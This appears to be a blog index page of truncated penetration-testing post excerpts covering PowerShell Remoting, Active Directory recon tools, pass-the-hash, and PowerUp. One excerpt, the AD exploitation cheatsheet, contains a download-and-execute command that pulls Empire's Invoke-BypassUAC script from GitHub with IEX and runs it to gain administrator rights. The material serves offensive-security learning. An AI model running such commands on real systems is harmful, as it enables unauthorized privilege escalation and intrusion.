PowerShell Remoting Powershell Remoting is feature that used by system admins to run commands in remote systems . It runs via windows remote management service.ItContinue readingPowerShell Remoting For pentesters Cheatsheet

List of tools for common AD recon rpclient enum4linux Adexplorer Jdxplorer RSAT nltest netdom Powershell ADmodule Powerview setspn crackmapexec bloodhound sc command wmic command netContinue readingAD Recon For Beginners

There are multiple ways to brute force on an NTLM NTLMV2 hash. Attackers have used the Pass-the-Hash (PtH) attack for over two decades. Its effectivenessContinue readingPass the hash: A Nightmare still alive!

Cheatsheet:- # Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command] powershell.exe -exec bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1’);Invoke-BypassUAC -Command ‘startContinue readingAD exploitation Powershell Cheatsheet

PowerUp.ps1 is a program that enables a user to perform quick checks against a Windows machine for any privilege escalation opportunities. It is not a comprehensiveContinue readingPowerUp Cheatsheet